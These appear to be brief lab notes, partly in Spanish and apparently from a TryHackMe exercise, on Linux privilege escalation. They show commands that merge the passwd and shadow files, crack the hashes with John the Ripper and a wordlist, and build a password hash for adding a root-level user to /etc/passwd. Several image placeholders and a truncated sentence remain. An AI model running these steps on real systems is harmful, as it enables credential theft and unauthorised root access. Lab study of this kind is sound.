Se debe separar el passwd y el shadow en .txt

unshadow passwd.txt shadow.txt > passwords.txt

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

Agregar usuarios con permiosos de root a /etc/passwd

openssl passwd -1 -salt THM password1

Untitled

Untitled

nce our user is added (please note how root:/bin/bash was used to provide a root shell) we will need to switch to this user and hopefully should have root privileges.

Untitled